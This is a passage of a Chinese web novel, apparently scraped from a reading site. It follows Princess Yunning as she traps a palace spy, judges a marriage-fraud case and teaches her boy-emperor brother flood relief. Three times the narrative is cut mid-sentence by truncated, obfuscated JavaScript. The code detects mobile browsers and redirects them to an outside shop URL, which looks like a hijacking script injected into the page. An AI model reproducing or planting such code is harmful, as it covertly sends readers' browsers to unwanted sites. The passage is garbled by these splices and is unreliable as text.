“记住了。” 昀宁看着他,忽然问:“那如果有人在你面前说真话,但那些真话,是故意说给你听的,你怎么办?” 昀昭愣住了。 “故意说给我听?” 昀宁说:“比如,有人想让你知道某件事,但又不想直接告诉你,就故意在你能听见的地方,和别人说那件事。你怎么办?” 昀昭想了想,说:“那我就装作没听见?” 昀宁摇摇头。 “不对。” 昀昭又想了想,说:“那我就仔细听,看看他想让我知道什么,然后再想他为什么要让我知道?” 昀宁微微笑了笑。 “聪明。” 她站起身,拉着昀昭的手,走到那棵槐树下。 “昀昭,你要记住——这世上,没有无缘无故的话。每一句话,都有说话的人想让你知道的东西。你要听的,不只是话本身,还有话后面的人。” 昀昭似懂非懂地点点头。 “皇姐,你遇到过这种事吗?” 昀宁沉默了一瞬。 “遇到过。” 昀昭问:“什么时候?” 昀宁没有回答。 她只是抬起头,看着那些飘落的槐花。 她想起很久以前,有一个少年,对她说“殿下不该是只会躲在珠帘后面的人”。 那句话,是故意说给她听的吗? 她不知道。 她只知道,从那一刻起,她开始变了。 那天晚上,昀宁去了御书房。 昀昭已经睡了,但御书房的灯还亮着。周文在里面等着,手里拿着一叠文书。 “殿下,”他行礼,“您要的东西,下官带来了。” 昀宁点点头,在案后坐下。 周文把那些文书呈上来。 昀宁一份一份看过去。 都是最近的案子。 有偷窃的,有伤人的,有骗钱的,有争产的。大大小小,五花八门。 她看得很仔细,每一份都从头看到尾。 看到最后一份,她的手微微一顿。 那是一个案子——一个书生,被自己的岳父告骗婚。 案情很简单:书生家境贫寒,但读书用功,中了秀才。岳父看中他的前程,把女儿许配给他,还陪嫁了不少财物。成亲后,书生继续读书,岳父却忽然翻脸,说他配不上自家女儿,要把女儿接回去,还要他把陪嫁的财物还回来。 书生不肯,岳父就告他骗婚。 昀宁看完,抬起头。 “周主簿,你怎么看?” 周文说:“下官觉得,这案子有些蹊跷。岳父当初是自愿把女儿嫁过去的,现在反悔,不合常理。” 昀宁点点头。 “查过那个岳父吗?” 周文说:“查过。他最近和一个富商走得很近。那个富商的儿子,正好在议亲。” 昀宁的眼睛微微眯起。 “明白了。” 她把那份文书放下。 “明日把这个案子提上来,本宫亲自审。” 周文点点头。 “是。” 第二天,昀宁去了京兆尹府。 那个案子已经准备好了,原告被告都在堂下跪着。 原告是个中年男人,穿着绸衫,一脸精明。被告是个年轻书生,穿着洗得发白的长衫,低着头,满脸愁苦。 昀宁坐下,开始审。 “原告,你说被告骗婚,有何证据?” 原告说:“回贵人,草民当初把女儿嫁给他,是看在他读书用功的份上。谁知他成亲之后,不思进取,整日游手好闲,还花光了草民给的陪嫁。草民觉得他配不上草民的女儿,所以要退婚。” 昀宁看向书生。 “被告,你有什么话说?” 书生抬起头,眼眶红红的。 “贵人,草民冤枉。草民成亲之后,每日都在读书,从不曾游手好闲。岳父给的陪嫁,草民一文钱都没动,都留着给娘子家用。是岳父忽然要退婚,还说要让娘子嫁给别人……” 他说着说着,眼泪掉下来。 昀宁沉默了一瞬。 “你说你岳父要把你娘子嫁给别人,可有证据?” 书生摇摇头。 “草民没有证据。但草民的娘子亲口告诉草民的,她说她爹要把她嫁给一个富商的儿子,聘礼都收了。” 昀宁看向原告。 “可有此事?” 原告脸色一变,随即镇定下来。 “贵人明鉴,这是诬陷。草民怎么可能做这种事?” 昀宁没有说话。 她只是看着原告,看着他那张精明的脸。 然后她忽然开口。 “来人。” 一个衙役上前。 昀宁说:“去查查,最近和这个原告来往的富商是谁,他家是不是在议亲。” 原告的脸色变得惨白。 “贵人,这……这……” 昀宁没有理他。 半个时辰后,衙役回来禀报。 “殿下,查到了。城东有个富商姓马,他儿子最近在议亲,说的正是原告的女儿。聘礼都下了,三百两银子。” 原告瘫在地上,一句话都说不出来。 昀宁看着他,目光平静。 “原告,你还有什么话说?” 原告磕头如捣蒜。 “贵人饶命!贵人饶命!草民一时糊涂,草民……” 昀宁打断他。 “一时糊涂?你收了人家的聘礼,就要把女儿嫁过去。你女儿已经嫁人了,你让她怎么办?让她和离?让她背着二婚的名声,被人指指点点?” 原告说不出话来。 昀宁看向书生。 “被告,你娘子怎么说?” 书生擦了擦眼泪,说:“娘子说,她死也不回去。她说她要跟着草民,不管穷富。” 昀宁点点头。 她站起身,走到原告面前。 “你听好了——这门亲事,不许退。你女儿嫁了人,就是人家的人。你再敢打她的主意,本宫饶不了你。” 原告连连磕头。 “草民不敢了!再也不敢了!” 昀宁转过身,看着书生。 “你起来吧。好好读书,好好待你娘子。” 书生磕了几个头,爬起来,千恩万谢地走了。 案子审完了。 昀宁走出京兆尹府,外面阳光正好。 她站在门口,忽然听见身后传来一阵脚步声。 “殿下。” 她回过头。 是周文。 周文走上前,压低声音说:“殿下,有件事下官想禀报。” 昀宁看着他。 “说。” 周文说:“昨日下官来送文书的时候,在御书房外面,看见一个人。” 昀宁的眉头微微皱起。 “谁?” 周文说:“是陛下身边的太监,小顺子。他在御书房外面站了很久,像是在偷听。” 昀宁沉默了一瞬。 小顺子。 昀昭身边的近侍。 他来偷听? “你确定?” 周文点点头。 “下官确定。他看见下官,慌慌张张地跑了。” 昀宁没有说话。 她只是站在那里,看着远处的天空。 过了很久,她开口。 “知道了。你去吧。” 周文点点头,转身走了。 昀宁站在原地,一动不动。 阿蘅在一旁急了。 “殿下,小顺子他……他为什么要偷听?” 昀宁摇摇头。 “不知道。” 但她知道,这件事,不简单。 那天回到宫里,昀宁没有惊动任何人。 她只是让人暗中盯着小顺子。 两天后,消息传来。 小顺子每天夜里都会去一个地方——城西的一间茶楼。他在那里待半个时辰,然后回宫。 那间茶楼,是一个富商开的。 那个富商,和户部那个员外郎有往来。 户部那个员外郎,就是上次在街上欺负老妇人的那个年轻人的父亲。 昀宁看着这份密报,沉默了很久。 “殿下,”阿蘅小声问,“您打算怎么办?” 昀宁没有说话。 她只是把密报折起来,收进袖中。 然后她站起身,走出摘星阁。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316922|198962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 那天晚上,昀宁去了御书房。 昀昭正在里面批奏折,见她进来,抬起头。 “皇姐!” 昀宁走过去,在他旁边坐下。 “昀昭,姐姐问你一件事。” 昀昭看着她。 昀宁说:“你身边的小顺子,你觉得他怎么样?” 昀昭想了想,说:“挺忠心的。我来东宫的时候他就在了,一直伺候我。” 昀宁点点头。 “那他最近有没有什么反常?” 昀昭愣了一下。 “反常?没有啊。” 昀宁沉默了一瞬。 然后她凑近他耳边,压低声音说了几句话。 第二天夜里,御书房里灯火通明。 昀宁和昀昭坐在里面,像是在商议什么事。 外面,小顺子站在角落里,一动不动。 御书房的门虚掩着,里面的声音隐隐约约传出来。 “皇姐,西北那边的事,怎么办?” “急什么?胡人一时半会儿打不过来。” “可是薛明说,他们最近在集结人马……” “薛明?他懂什么?他就是个莽夫。别听他的。” “那皇姐觉得该怎么办?” “让他们集结。等他们集结好了,我们正好一网打尽。” “可是万一……” “没有万一。听姐姐的,没错。” “好吧。” 里面沉默了一会儿。 然后昀宁的声音又响起。 “对了,户部那个员外郎,你查了没有?” 昀昭说:“查了。他这些年贪了不少,至少有五千两。” 昀宁冷笑一声。 “五千两?不止吧。他儿子在外面横行霸道,欺压百姓,花的钱从哪儿来的?继续查,查清楚了,一起收拾。” “好。” 里面又沉默了一会儿。 然后昀宁说:“天色不早了,你先歇着吧。姐姐回去了。” “皇姐慢走。” 脚步声响起,门开了。 第二天,小顺子照常伺候昀昭,像是什么都没发生过。 当天夜里,小顺子又去了那间茶楼。 他进去之后,待了半个时辰,然后出来。 出来的时候,脸上带着笑。 第三天,昀宁动手了。 户部那个员外郎,被查出贪墨八千两,抄家下狱。他儿子横行霸道、欺压百姓的罪证,也一并被翻出来,判了流放三千里。 那个富商,因为行贿官员,也被抓了。 茶楼被封了。 小顺子呢? 那天朝会上,昀昭当着满朝文武的面,把一份密报扔在他面前。 “小顺子,你还有什么话说?” 小顺子跪在地上,脸色惨白,浑身发抖。 “陛下饶命!陛下饶命!奴才……奴才也是被逼的……” 昀昭看着他,目光冰冷。 “被逼的?他们给了你多少钱?” 小顺子说不出话来。 昀昭挥了挥手。 “押下去。打入死牢。” 小顺子被拖走了。 朝会散了。 昀宁站在珠帘后面,看着这一切。 阿蘅在一旁小声说:“殿下,您怎么知道小顺子会去偷听?” 昀宁摇摇头。 “我不知道。我只是猜的。” 阿蘅愣了一下。 “猜的?” 昀宁点点头。 “周文告诉我,小顺子在偷听。我不知道他为什么偷听,也不知道他偷听了什么。但我知道,他想知道的一定是某件事。那我就给他那件事。” 她顿了顿,继续说:“我在御书房说的那些话,是故意说给他听的。他知道他想知道的事,就会去告诉他的主子。他的主子知道后,就会有所行动。等他们动了,我就能抓住他们。” 阿蘅听得目瞪口呆。 “殿下,您……您真是……” 昀宁看着她。 “真是什么?” 阿蘅说:“真是……太厉害了。” 昀宁笑了笑。 那笑容很淡。 “厉害什么?不过是算计人罢了。” 她转身往外走。 走到门口,她忽然停下脚步,回过头。 “阿蘅。” 阿蘅连忙上前。 昀宁说:“你知道那天小顺子偷听的时候,我心里想的是什么吗?” 阿蘅摇摇头。 昀宁说:“我想的是——他以为他在偷听,其实他在给我递刀子。” 她顿了顿,又说:“他想知道什么,我就让他知道什么。他想告诉谁,我就让他去告诉。他以为他在帮他的主子,其实他在帮我把他的主子送进大牢。” 阿蘅看着她,忽然有些害怕。 殿下的眼睛里,有一种她从未见过的东西。 那不是天真,也不是善良。 那是洞悉。 那是掌控。 那是—— “殿下,”她小声问,“您什么时候学会这些的?” 昀宁沉默了一瞬。 然后她开口。 “从他们害死沈淮那天。” 她走了。 阿蘅站在原地,看着她的背影消失在门外。 她忽然想起很久以前,殿下问她“雨有没有得选”。 那时候的殿下,多天真。 现在…… 她不知道该怎么形容。 她只知道,殿下变了。 变得让她有些害怕。 但她也知道,殿下变这样,是因为没办法。 这吃人的世道,不变,就得死。 她擦了擦眼泪,追了上去。 ——第二十一章完—— 22. 血色鸳鸯 11 六月初一,宜出行,宜纳财,宜吃冰。 昀宁是被热醒的。 她睁开眼,窗外的天已经大亮,阳光透过纱帘照进来,照得满屋子都是明晃晃的光。她翻了个身,不想动,后背却已经汗湿了一层。 “阿蘅。” 没人应。 她又喊了一声。 还是没人应。 她坐起来,皱了皱眉。 这小丫头,跑哪儿去了? 她披上衣服,走出内室。外间空荡荡的,桌上摆着早膳,还冒着热气,但人不在。 她又往外走。 走到院子里,忽然听见一阵笑声。 是阿蘅的声音。 还有昀昭的声音。 她顺着声音走过去,绕到后院,看见两个人蹲在井边,不知道在干什么。 走近了一看—— 昀昭挽着袖子,蹲在水盆边上,手里攥着一个瓜。阿蘅在旁边指点他,说什么“转着圈切”“别切着手”“对对对就这样”。 昀宁站在他们身后,看了半天。 “你们在干什么?” 两个人同时回头。 昀昭看见她,眼睛一亮,举起手里的瓜。 “皇姐!看,西瓜!” 昀宁看着那个瓜。 绿皮,圆滚滚的,上面还滴着水,一看就是刚从井里捞上来的冰镇瓜。 “哪来的?” 阿蘅嘿嘿一笑。 “早上内务府送来的,说是今年头一批,可甜了。奴婢想着这么热的天,冰镇一下再吃,就把瓜放井里了。结果陛下来了,看见瓜就走不动道,非要亲手切。” 昀昭用力点头。 “皇姐,我切给你吃!” 他说着,拿起刀,对着瓜比划了一下。 昀宁看着他。 “你会切?” 昀昭挺了挺胸。 “会!阿蘅教我!” 他深吸一口气,一刀下去。 瓜裂开了。 红瓤黑籽,汁水四溢。 昀昭看着那个瓜,眼睛亮得像星星。 “皇姐!你看!我切开了!” 昀宁点点头。 “嗯,切开了。” 昀昭把瓜切成一块一块的,摆在一个大盘子里,端到树荫下的石桌上。 “皇姐,你尝尝!” 昀宁拿起一块,咬了一口。 甜。 很甜。 冰凉爽口,瞬间驱散了一身的燥热。 昀昭眼巴巴地看着她。 “好吃吗?” 昀宁点点头。 “好吃。” 昀昭咧嘴笑了,自己也拿起一块,大口大口地吃起来。 阿蘅也拿了一块,蹲在一边啃。 三个人坐在树荫下,吃着冰镇西瓜,谁都没说话。 风吹过来,带着井水的凉意,和瓜果的清甜。 昀宁忽然想起很久以前,母后还在的时候,夏天也是这样。母后会让人把瓜放在井里冰着,等她和昀昭下了学,就坐在廊下一起吃。 那时候昀昭还小,吃瓜吃得满脸都是,母后就拿帕子给他擦。 现在昀昭大了,会自己切瓜了。 可母后不在了。 她低下头,又咬了一口瓜。 “皇姐,”昀昭忽然开口,“你想什么呢?” 昀宁摇摇头。 “没什么。” 昀昭看着她,忽然说:“皇姐,你是不是又想母后了?” 昀宁的手顿了顿。 昀昭说:“我也经常想。想母后在的时候,想父皇在的时候,想……” 他没说完。 但他想说什么,昀宁知道。 想沈淮。 想那些再也回不来的人。 她伸出手,揉了揉昀昭的头发。 “吃你的瓜。” 昀昭乖乖地继续吃瓜。 吃着吃着,他忽然又开口。 “皇姐,下午我想出宫。” 昀宁看着他。 “出宫做什么?” 昀昭说:“想去街上看看。上次跟你出去,觉得挺有意思的。我还想去看看那个卖糖人的老大爷,他送了我一个糖人。” 昀宁沉默了一瞬。 “好。” 昀昭眼睛一亮。 “真的?” 昀宁点点头。 “但你要听我的。” 昀昭用力点头。 “听!都听!” 那天下午,昀宁带着昀昭出了宫。 阿蘅也跟着,换了一身男装,扮成小厮。 三个人走在街上,和上次一样,只是这次的主角换成了昀昭。 昀昭看什么都新鲜,一会儿跑到这个摊子前看看,一会儿跑到那个摊子前摸摸,一会儿又问这个多少钱那个怎么卖。 阿蘅跟在他后面,紧张得不行。 “陛下,您慢点儿,别跑那么快……” 昀昭回过头,一脸无辜。 “没事儿,有皇姐在呢。” 昀宁走在他后面,不紧不慢的。 她看着昀昭跑前跑后,看着他像个普通孩子一样,这儿看看那儿摸摸,心里忽然有些酸。 他是皇帝。 可他也是孩子。 十二岁的孩子,本该在街上疯跑,和伙伴们嬉闹,想吃糖人就买糖人,想看杂耍就看杂耍。 可他不行。 他只能偶尔出宫一次,还要小心翼翼,不能让人认出来。 “皇姐!”昀昭跑回来,拉着她的手,“那边有杂耍!我们去看看!” 昀宁被他拉着往前走。 前面果然有一群人围成一个圈,里面传来锣鼓声和叫好声。他们挤进去,看见一个汉子正在耍猴。那猴穿着红褂子,翻跟头,作揖,逗得人群哈哈大笑。 昀昭看得眼睛都直了。 “皇姐,那猴好聪明!” 昀宁点点头。 “嗯。” 昀昭看了一会儿,忽然问:“皇姐,你说那猴开心吗?” 昀宁愣了一下。 昀昭说:“它每天都要翻跟头,作揖,被人笑。它会不会也想跑?” 昀宁沉默了一瞬。 “不知道。” 昀昭没有再问,继续看那猴。 猴翻完跟头,被汉子牵走了。 人群散了。 昀昭站在原地,看着那猴的背影,不知道在想什么。 “走吧。”昀宁说。 昀昭点点头,跟着她往前走。 走着走着,昀昭忽然说:“皇姐,我觉得那猴和我有点像。” 昀宁看着他。 昀昭说:“它每天都要翻跟头给人看。我每天都要坐在那把椅子上,给人看。” 昀宁没有说话。 昀昭继续说:“但它想跑可以跑。我跑不了。” 昀宁的心像是被什么东西轻轻揪了一下。 她停下脚步,转过身,蹲下身子,看着昀昭的眼睛。 “昀昭,”她说,“你想跑吗?” 昀昭看着她,想了想,摇摇头。 “不想。” 昀宁问:“为什么?” 昀昭说:“因为我是皇帝。我跑了,那些人怎么办?那些老百姓怎么办?” 他顿了顿,又说:“而且皇姐在这儿,我跑了,皇姐怎么办?” 昀宁看着他,眼眶忽然有些发酸。 她伸出手,把他揽进怀里。 昀昭没有挣扎,只是把脸埋在她肩头。 “皇姐,”他闷闷地说,“我是不是很没用?” 昀宁摇摇头。 “不。” “可是我有时候会想,要是能像那些孩子一样,在街上跑着玩就好了。” 昀宁轻轻拍着他的背。 “你想跑就跑。姐姐陪你。” 昀昭抬起头,看着她。 “真的?” 昀宁点点头。 “真的。” 她站起身,拉着他的手。 “走,姐姐带你去跑。” 她拉着他在街上跑起来。 昀昭一开始还有些懵,跑了几步,忽然笑了。 “皇姐!慢点儿!” 昀宁没理他,继续跑。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316923|198962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 阿蘅在后面追,一边追一边喊。 “殿下!陛下!你们慢点儿!等等奴婢!” 街上的人看着他们,都笑了。 “这姐弟俩,真有意思。” “跑得真欢。” 昀宁拉着昀昭跑过一条街,跑过两条街,最后停在一个卖冰饮的摊子前。 昀昭喘着气,笑得眼睛都弯了。 “皇姐,我跑不动了。” 昀宁也在喘。 “那就歇歇。” 她要了两碗冰镇酸梅汤,和昀昭一人一碗,坐在摊子边的小凳上喝。 酸梅汤酸甜可口,冰冰凉凉,从嘴里一直爽到心里。 昀昭喝了一大口,长出一口气。 “舒服。” 昀宁看着他,嘴角微微弯了弯。 阿蘅终于追上来了,气喘吁吁的,一屁股坐在旁边的小凳上。 “殿下,陛下,你们……你们跑得太快了……奴婢差点没追上……” 昀昭把自己的酸梅汤递给她。 “阿蘅,你喝。” 阿蘅愣了一下,连忙摆手。 “奴婢不敢,这是陛下的……” “我喝过了,这碗是皇姐的。”昀昭指了指昀宁面前那碗,“你喝那个。” 阿蘅看向昀宁。 昀宁点点头。 阿蘅这才端起来,小口小口地喝。 三个人坐在街边的小摊上,喝着酸梅汤,看着来来往往的人群。 阳光很晒,但摊子上撑着大伞,遮出一片阴凉。 风偶尔吹过来,带着酸梅汤的酸甜味,和街上的各种声音。 “冰粉!卖冰粉咧!” “包子!热乎的包子!” “让一让让一让,马车来了——” 昀昭看着这一切,忽然说:“皇姐,我觉得这样挺好。” 昀宁看着他。 昀昭说:“坐在路边,喝酸梅汤,看人。不用想那些奏折,不用想那些大臣,什么都不用想。” 他顿了顿,又说:“要是能天天这样就好了。” 昀宁没有说话。 她只是端起酸梅汤,又喝了一口。 她知道,不能天天这样。 他是皇帝。 她也是公主。 他们有他们的路要走。 但这一刻,她不想想那些。 她只想陪他坐在这儿,喝酸梅汤,看人。 太阳慢慢西斜,天边的云被染成橘红色。 该回去了。 昀宁站起身。 “走吧。” 昀昭也站起来,有些舍不得。 “皇姐,下次还能来吗?” 昀宁点点头。 “能。” 昀昭笑了。 “那说定了。” 回去的路上,天已经黑了。 马车里,昀昭靠在昀宁身上,迷迷糊糊的,快要睡着了。 “皇姐,”他忽然说,“我今天很开心。” 昀宁低头看他。 昀昭说:“吃了西瓜,看了杂耍,喝了酸梅汤,还帮人找了娘。真好。” 他顿了顿,又说:“要是每天都能这样就好了。” 昀宁没有说话。 她只是轻轻拍着他的背,像小时候母后哄他们睡觉时那样。 昀昭慢慢闭上眼睛,睡着了。 昀宁看着他的脸,看着他在睡梦中还带着笑意的嘴角。 她忽然想起很多年前,他也这样靠在她身上睡觉。 那时候他才五六岁,小小的,软软的,睡着了还会流口水。 现在他大了。 能自己切瓜了,能帮她找人了,会说“皇姐真好”了。 她低下头,在他额头上轻轻亲了一下。 “睡吧。”她说。 马车辘辘地往前走,穿过夜色,穿过街道,穿过那些亮着灯的窗户。 昀宁靠在车壁上,看着窗外。 沈淮,你看见了吗? 昀昭长大了。 我也会好好的。 替你,好好活着。 ——第二十二章完—— 23. 血色鸳鸯 12 六月初七,芒种。 昀宁被一阵急促的脚步声吵醒。 她睁开眼,窗外还黑着,天还没亮。脚步声越来越近,紧接着是阿蘅的声音。 “殿下!殿下!陛下那边来人请,说有急事!” 昀宁坐起来,揉了揉眼睛。 “什么时辰了?” “寅时三刻。” 寅时三刻。 天都没亮,能有什么急事? 她披上衣服,匆匆往外走。 走到东宫门口,就看见里面灯火通明。她推门进去,看见昀昭坐在案前,手里捧着一份奏折,眉头皱得能夹死苍蝇。 “昀昭?” 昀昭抬起头,看见她,眼睛一亮。 “皇姐!” 昀宁走过去,在他旁边坐下。 “怎么了?这么早叫我。” 昀昭把手里的奏折递给她。 “皇姐你看这个。” 昀宁接过来,展开。 是一份来自江南的奏报。上面说,今年雨水太多,好几个县发了洪水,淹了庄稼,冲了房子,老百姓没饭吃,没地种,流离失所。 她看完了,抬起头。 “你想怎么办?” 昀昭说:“我想赈灾。可是我不知道怎么赈。” 他指着奏折上的几行字。 “他们说,要粮食,要银子,要人去修堤坝。粮食从哪儿来?银子从哪儿来?人从哪儿来?我想了一晚上,想不明白。” 昀宁看着他。 他的眼睛下面有淡淡的青色,一看就是一夜没睡。 “你一夜没睡?” 昀昭点点头。 “睡不着。一想到那么多人没饭吃,我就睡不着。” 昀宁沉默了一瞬。 然后她开口。 “赈灾的事,姐姐教你。” 她让人拿来纸笔,摊在案上。 “首先,你要知道有多少人受灾。人少了怎么救,人多了怎么救,不一样。” 昀昭点点头,在纸上记下来。 “其次,你要知道粮食在哪儿。京城有粮仓,各地也有粮仓。先调最近的,再调远的。远的来不及,就先拨银子,让当地人去邻县买。” 昀昭又记下来。 “然后,你要派人去。派谁去?派贪官去,粮食就没了。派好官去,粮食才能到老百姓手里。” 昀昭抬起头。 “那怎么知道谁是贪官谁是清官?” 昀宁说:“不知道。所以你要派几个人一起去,互相盯着。还要让御史台的人跟着,回来要写报告。谁敢乱动,就办谁。” 昀昭若有所思地点点头。 “还有呢?” 昀宁说:“修堤坝的事,可以等水退了再说。现在最重要的是让老百姓活下来。活下来了,什么都好说。活不下来,说什么都没用。” 昀昭沉默了很久。 然后他放下笔,看着她。 “皇姐,你怎么懂这么多?” 昀宁愣了一下。 昀昭说:“这些事,我从来不知道。你也没学过,你怎么会的?” 昀宁想了想,说:“被迫学会的。” 昀昭不懂。 昀宁没有解释。 她只是把那份奏折拿起来,又看了一遍。 “昀昭,”她说,“你知道这些人为什么会上报吗?” 昀昭摇摇头。 昀宁说:“因为他们知道你会在乎。” 她看着他。 “以前的皇帝,不一定会在乎。他们可能看一眼就扔一边了,可能让下面的人去办,办成什么样就是什么样。但你不一样。你在乎。你一夜没睡,就为了想怎么救他们。” 她顿了顿,继续说:“你是个好皇帝。” 昀昭看着她,眼眶忽然有些红。 “皇姐,我能做好吗?” 昀宁点点头。 “能。” 昀昭咧嘴笑了。 那笑容很亮,像窗外渐渐亮起来的天。 那天之后,昀昭开始忙起来了。 每天天不亮就起床,批奏折,见大臣,问情况,做决策。有时候忙到深夜,饭都顾不上吃。 昀宁去看他,他就抬头笑笑,说“皇姐我没事”,然后又低头继续批。 阿蘅在一旁嘀咕:“陛下这是怎么了?以前最讨厌批奏折的,现在跟换了个人似的。” 昀宁没有说话。 她知道昀昭为什么这样。 因为他心里有事。 有事的人,闲不下来。 一闲下来,就会想那些事。 七月初,江南那边传来消息——赈灾的事办妥了。 粮食发下去了,银子发下去了,堤坝也开始修了。老百姓有饭吃了,有地种了,日子慢慢好起来了。 昀昭看着那份奏报,笑得眼睛都弯了。 “皇姐!你看!他们活下来了!” 昀宁点点头。 “嗯。” 昀昭拿着那份奏报,翻来覆去看了好几遍。 “皇姐,我想给他们回个信。” 昀宁看着他。 “回什么?” 昀昭想了想,说:“就说,朕知道了,朕很高兴。让他们好好干,把堤坝修好,把地种好。明年朕还等着看他们交税呢。” 昀宁微微笑了笑。 “好。” 昀昭拿起笔,开始写信。 他写得很认真,一个字一个字地写,写完了又看一遍,改了几个字,然后让人送出去。 信送走了,他长出一口气。 “皇姐,我觉得当皇帝也挺好的。” 昀宁看着他。 昀昭说:“能帮到人,能让那些人活下来,能让他们过好日子。这种感觉……真好。” 昀宁的心微微一软。 她伸出手,揉了揉他的头发。 “嗯。” 那天晚上,昀宁回到摘星阁,在窗前坐了许久。 月光落进来,落在那只兔子面具上。 她拿起面具,看着那两只红红的眼睛。 她忽然想起沈淮。 想起他说“臣的心,是真的”。 她在心里默默地说—— 你看见了吗? 昀昭长大了。 他会是个好皇帝。 八月初,昀昭又出了宫。 这次是他自己提出来的。 “皇姐,我想去看看那些人。” 昀宁看着他。 “哪些人?” 昀昭说:“那些受灾的人。我想看看他们现在怎么样了。” 昀宁沉默了一瞬。 “好。” 他们又换上寻常的衣裳,出了宫。 这次去的是城外的村子。 那个村子也受了灾,但不算严重。朝廷的粮食发下来后,村民们都缓过来了,地里又种上了庄稼,绿油油的一片。 昀昭走在田埂上,看着那些庄稼,眼睛亮亮的。 “皇姐,你看,都长出来了。” 昀宁点点头。 “嗯。” 他们走到村子口,看见几个老人坐在大树下乘凉,摇着蒲扇,聊着天。 昀昭走过去,蹲在他们旁边。 “老人家,你们好啊。” 老人们看着他,都笑了。 “小伙子,哪来的?” 昀昭说:“京城来的。来看看你们。” 老人们点点头。 “来看我们?有心了有心了。” 一个老人指着远处的庄稼地,说:“你看那些庄稼,都长起来了。多亏了朝廷发的粮食,不然我们这把老骨头,早饿死了。” 另一个老人说:“可不是嘛。听说这次是皇上亲自过问的。皇上才多大?十三?十四?能惦记着我们这些老百姓,不容易。” 又一个老人说:“好皇帝啊。咱们摊上个好皇帝。” 昀昭听着他们说话,耳朵尖都红了。 他低下头,小声说:“他还小,还要学呢。” 老人们笑了。 “小怎么了?小才难得。那些大皇帝,有几个记得老百姓?” 昀昭不说话了。 他只是蹲在那儿,听着老人们聊天,听着他们说“好皇帝”,听着他们说“日子好过了”,听着他们说“明年能多收点粮食”。 太阳慢慢西斜,天边的云被染成橘红色。 昀昭站起身。 “老人家,我们走了。” 老人们点点头。 “慢走啊,小伙子。有空再来。” 昀昭点点头,走了。 走出村子,他忽然停下脚步,回过头。 那片庄稼地还在,绿油油的。 那些老人还在树下,摇着蒲扇。 他看了很久。 “皇姐,”他忽然说,“我想让他们过好日子。” 昀宁看着他。 昀昭说:“所有人都过好日子。种地的有饭吃,做工的有钱赚,做生意的能发财。没有人挨饿,没有人受欺负。” 他顿了顿,又说:“我能做到吗?” 昀宁沉默了一瞬。 然后她点点头。 “能。” 昀昭笑了。 那笑容很亮,比天边的晚霞还亮。 九月初,昀宁病了。 不是什么大病,就是累的。这些日子她忙着教昀昭,忙着看奏折,忙着处理各种事,一直没歇着。 阿蘅急得团团转,非要她躺着养病。 昀宁躺在榻上,看着阿蘅忙前忙后,忽然觉得有些好笑。 “阿蘅,你别转了,转得我头晕。” 阿蘅停下来,委屈巴巴地看着她。 “殿下,您可别吓奴婢。您要是倒了,陛下怎么办?” 昀宁没有说话。 她知道阿蘅说得对。 她不能倒。 她倒了,昀昭就没人教了。 门被推开,昀昭冲进来。 “皇姐!皇姐你怎么了?” 他跑到榻前,看着她,眼眶红红的。 昀宁笑了笑。 “没事,就是累了。歇两天就好。” 昀昭不信,拉着她的手,盯着她看了半天。 “皇姐,你是不是骗我?” 昀宁摇摇头。 “没有。” 昀昭还是不信,但又没办法。他坐在榻边,握着她的手,不说话。 过了很久,他忽然开口。 “皇姐,你以后别那么累了。” 昀宁看着他。 昀昭说:“我长大了。我可以帮你分担了。你别一个人扛着。” 昀宁的心像是被什么东西轻轻撞了一下。 她看着他,看着他那张还带着婴儿肥的脸,看着他那双亮亮的眼睛。 她忽然想起很久以前,他躲在被子里哭,说“我想父皇”。 想起他坐在灵堂里,小小的身子裹在麻衣里,瑟瑟发抖。 想起他说“皇姐,我会做个好皇帝”。 她伸出手,揉了揉他的头发。 “好。” 昀昭咧嘴笑了。 “那说定了。” 那天下午,昀昭没有去御书房,就坐在榻边,陪着她。 他给她讲朝堂上的事,讲那些大臣们怎么吵架,讲韩阁老怎么夸他,讲他今天批了什么奏折。 昀宁听着听着,睡着了。 醒来的时候,天已经黑了。 昀昭还坐在旁边,趴在榻沿上,睡着了。 他的脸埋在胳膊里,露出半边脸,睡得呼呼的。 昀宁看着他,嘴角微微弯了弯。 她轻轻坐起来,把旁边的毯子拿过来,盖在他身上。 然后她就坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17316924|198962||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 那里,看着他。 月光从窗外照进来,落在他脸上,把他的轮廓照得很柔和。 她忽然想起母后。 想起母后抱着他们,轻轻拍着他们的背。 想起母后说“昀宁,照顾好弟弟”。 她在心里默默地说—— 母后,您放心。 我会的。 十月初,昀昭做了个决定。 他要减免受灾地方的赋税,一年。 昀宁看着他那份奏折,沉默了很久。 “昀昭,你想好了?” 昀昭点点头。 “想好了。” 昀宁说:“减免赋税,国库就少收钱。钱少了,明年要用钱的地方,可能就不够。” 